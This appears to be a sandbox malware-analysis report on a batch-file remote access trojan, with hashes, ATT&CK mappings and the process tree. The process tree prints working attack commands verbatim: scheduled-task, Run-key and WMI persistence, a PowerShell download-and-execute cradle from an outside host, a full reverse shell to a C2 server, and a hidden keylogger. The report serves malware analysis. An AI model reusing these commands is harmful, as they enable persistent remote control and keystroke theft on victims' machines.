26b7ce82b05558420bfbc3b76ae0068912cb6cda55066ea4efa4fe4fb2553fe7

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:07

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General

Target
rat_build_41604_014205.bat
Size 4KB
Sample260529-11vl1sgw21
SHA256 26b7ce82b05558420bfbc3b76ae0068912cb6cda55066ea4efa4fe4fb2553fe7
MD5 a30fcaeea9e433dc99aa181755d832b5
SHA1 0ae02ed0e3eb355fccfc275f777e44795244d054
SHA512 665db46bafb3e3217524b502477db9dc3d21237008435a85a1927e15006d875e36671bbea1945da3ee6de60c65cb7e36a7e80861f9135ad3d991ab5bb0036c2d
SSDEEP 96:DImDWyXy94lmU7p3p6EUL+jJ3LzyARJHjmhu2gL1reSiFgZk8mvlo1R5e:DoyXy94lN7po1kJPyeAhu2CsSiFgkHlL
TLSH
T1FBA1F923939A222095F09618DE323C48936CE5F71340CD9EBB8DCDD41B4DE475529AFB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_41604.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4804	powershell.exe
4356	powershell.exe
1624	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_41604 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_41604.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
884	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1064	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3484	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4356	powershell.exe
4356	powershell.exe
1624	powershell.exe
1624	powershell.exe
4804	powershell.exe
4804	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4240	WMIC.exe
Token: SeSecurityPrivilege	4240	WMIC.exe
Token: SeTakeOwnershipPrivilege	4240	WMIC.exe
Token: SeLoadDriverPrivilege	4240	WMIC.exe
Token: SeSystemProfilePrivilege	4240	WMIC.exe
Token: SeSystemtimePrivilege	4240	WMIC.exe
Token: SeProfSingleProcessPrivilege	4240	WMIC.exe
Token: SeIncBasePriorityPrivilege	4240	WMIC.exe
Token: SeCreatePagefilePrivilege	4240	WMIC.exe
Token: SeBackupPrivilege	4240	WMIC.exe
Token: SeRestorePrivilege	4240	WMIC.exe
Token: SeShutdownPrivilege	4240	WMIC.exe
Token: SeDebugPrivilege	4240	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4240	WMIC.exe
Token: SeRemoteShutdownPrivilege	4240	WMIC.exe
Token: SeUndockPrivilege	4240	WMIC.exe
Token: SeManageVolumePrivilege	4240	WMIC.exe
Token: 33	4240	WMIC.exe
Token: 34	4240	WMIC.exe
Token: 35	4240	WMIC.exe
Token: 36	4240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4240	WMIC.exe
Token: SeSecurityPrivilege	4240	WMIC.exe
Token: SeTakeOwnershipPrivilege	4240	WMIC.exe
Token: SeLoadDriverPrivilege	4240	WMIC.exe
Token: SeSystemProfilePrivilege	4240	WMIC.exe
Token: SeSystemtimePrivilege	4240	WMIC.exe
Token: SeProfSingleProcessPrivilege	4240	WMIC.exe
Token: SeIncBasePriorityPrivilege	4240	WMIC.exe
Token: SeCreatePagefilePrivilege	4240	WMIC.exe
Token: SeBackupPrivilege	4240	WMIC.exe
Token: SeRestorePrivilege	4240	WMIC.exe
Token: SeShutdownPrivilege	4240	WMIC.exe
Token: SeDebugPrivilege	4240	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4240	WMIC.exe
Token: SeRemoteShutdownPrivilege	4240	WMIC.exe
Token: SeUndockPrivilege	4240	WMIC.exe
Token: SeManageVolumePrivilege	4240	WMIC.exe
Token: 33	4240	WMIC.exe
Token: 34	4240	WMIC.exe
Token: 35	4240	WMIC.exe
Token: 36	4240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2500	WMIC.exe
Token: SeSecurityPrivilege	2500	WMIC.exe
Token: SeTakeOwnershipPrivilege	2500	WMIC.exe
Token: SeLoadDriverPrivilege	2500	WMIC.exe
Token: SeSystemProfilePrivilege	2500	WMIC.exe
Token: SeSystemtimePrivilege	2500	WMIC.exe
Token: SeProfSingleProcessPrivilege	2500	WMIC.exe
Token: SeIncBasePriorityPrivilege	2500	WMIC.exe
Token: SeCreatePagefilePrivilege	2500	WMIC.exe
Token: SeBackupPrivilege	2500	WMIC.exe
Token: SeRestorePrivilege	2500	WMIC.exe
Token: SeShutdownPrivilege	2500	WMIC.exe
Token: SeDebugPrivilege	2500	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2500	WMIC.exe
Token: SeRemoteShutdownPrivilege	2500	WMIC.exe
Token: SeUndockPrivilege	2500	WMIC.exe
Token: SeManageVolumePrivilege	2500	WMIC.exe
Token: 33	2500	WMIC.exe
Token: 34	2500	WMIC.exe
Token: 35	2500	WMIC.exe
Token: 36	2500	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2500	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 4856	4388	cmd.exe	83
PID 4388 wrote to memory of 3484	4388	cmd.exe	84
PID 4388 wrote to memory of 4240	4388	cmd.exe	85
PID 4388 wrote to memory of 2500	4388	cmd.exe	86
PID 4388 wrote to memory of 3976	4388	cmd.exe	87
PID 4388 wrote to memory of 1064	4388	cmd.exe	88
PID 4388 wrote to memory of 884	4388	cmd.exe	92
PID 4388 wrote to memory of 4356	4388	cmd.exe	93
PID 4388 wrote to memory of 1624	4388	cmd.exe	94
PID 4388 wrote to memory of 4804	4388	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_41604_014205.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_41604" /tr "C:\Users\Admin\AppData\Local\Temp\_41604.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4856
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_41604" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_41604.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3484
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_41604", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4240
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_41604", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_41604.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_41604.txt
  2⤵
  PID:3976
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1064
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_41604.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4804

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_f2qdstcw.ehn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2qdstcw.ehn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4356-8-0x000002657E050000-0x000002657E072000-memory.dmp

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